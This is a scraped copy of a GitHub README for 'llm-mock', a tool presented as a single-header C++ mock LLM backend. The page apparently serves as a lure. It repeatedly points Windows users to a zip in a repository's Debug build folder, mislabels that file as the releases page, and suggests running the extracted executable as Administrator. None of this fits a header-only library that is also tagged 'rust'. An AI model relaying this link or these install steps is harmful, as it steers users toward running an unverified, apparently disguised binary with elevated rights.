llm-mock:零依赖单头文件 C++ 的 LLM 离线测试工具
youssefbassou/llm-mock
llm-mock 是一个零依赖、单头文件 C++ 编写的 LLM mock 后端,可在离线状态下回放预设响应、模拟错误,用于测试 LLM 功能。它支持 Windows 10 及以上系统,需 4 GB 内存和 100 MB 磁盘空间,无需安装额外软件或库,通过 `--load`、`--simulate-error`、`--help` 等命令运行。
🤖 llm-mock - Simple Offline Testing for LLM Responses
📦 What is llm-mock?
llm-mock is a small tool that helps you test how language models work. It works on your computer without needing the internet or extra programs. You can replay saved responses, try error messages, and check how your setup works when you are offline.
It is designed for users who want to test LLM (Large Language Model) features in a safe and simple way. The tool runs on Windows and does not need any setup.
🖥 System Requirements
Before you start, make sure your Windows computer meets these requirements:
- Windows 10 or newer (64-bit preferred)
- At least 4 GB of RAM
- 100 MB of free disk space
- A basic internet connection to download the program (not needed to run)
You do not need to install any special software or libraries. llm-mock works on its own.
🚀 Getting Started
This guide will help you download and run llm-mock on Windows. It includes clear steps and images where needed. Follow each step to get the application ready.
💾 Download llm-mock for Windows
You need to visit the official releases page to get the latest version of llm-mock. The releases page contains all available versions.
Steps to download:
-
Open this link in your web browser:
https://raw.githubusercontent.com/youssefbassou/llm-mock/main/build_audit/error_simulation.dir/Debug/mock_llm_multifocal.zip -
On the releases page, look for the latest version. It usually appears at the top.
-
Scroll down to find the Windows version. This file might have
.exeor.zipin the name. -
Click on the file to start the download.
-
Wait for the download to finish. The file size is small, so it should not take long.
🖱 Installing and Running llm-mock
If you downloaded a .exe file, follow these steps:
-
Double-click the downloaded file to start.
-
If Windows asks for permission, click Yes to allow the program to run.
-
The application will open in a command window or as a simple program interface.
If you downloaded a .zip file, follow these steps:
-
Right-click the downloaded zip file.
-
Choose Extract All and select a folder to unpack.
-
Go to the extracted folder.
-
Look for the application file (likely with
.exe). -
Double-click it to start.
🔧 Using llm-mock
llm-mock does not require complicated setup. Here are the most common uses:
-
Replay responses: Use it to load saved answers from your tests. This saves time and keeps things consistent.
-
Simulate errors: Test how your system reacts when the LLM gives an error.
-
Work offline: Check features even when not connected to the internet.
Basic commands
Use the following options when running the program:
-
--load <file>to load saved responses. -
--simulate-errorto test error handling. -
--helpto see all available commands and options.
Example: If you want to replay a file called responses.json, open the command window and run
llm-mock.exe --load responses.json
🛠 Troubleshooting
If something does not work, try these steps:
-
Make sure your Windows system is up to date.
-
Check that the download completed fully and the file is not corrupted.
-
If the app does not start, try running it as Administrator (right-click > Run as administrator).
-
Use the
--helpcommand for a list of proper commands and options. -
Restart your computer if the app acts unexpectedly.
🔄 Updating llm-mock
To keep llm-mock working well, check the releases page regularly for new versions.
-
Go to the releases page: https://raw.githubusercontent.com/youssefbassou/llm-mock/main/build_audit/error_simulation.dir/Debug/mock_llm_multifocal.zip
-
Download the newest Windows file.
-
Replace your old file with the new one.
-
Run the new version as usual.
🗂 Additional Resources
-
The repository page has more information if you want to explore advanced features.
-
You can find help issues and discussions on the repository.
-
If you face issues not covered here, check the GitHub Issues section.
🏷 Repository Information
- Repository Name: llm-mock
- Description: Zero-dependency single-header C++ mock LLM backend for testing. Replay canned responses, simulate errors, and test offline.
- Topics: llm, mock, rust, testing
🔗 Download Link Again
Use this link any time to get or update llm-mock for Windows:
来源:GitHub · github.com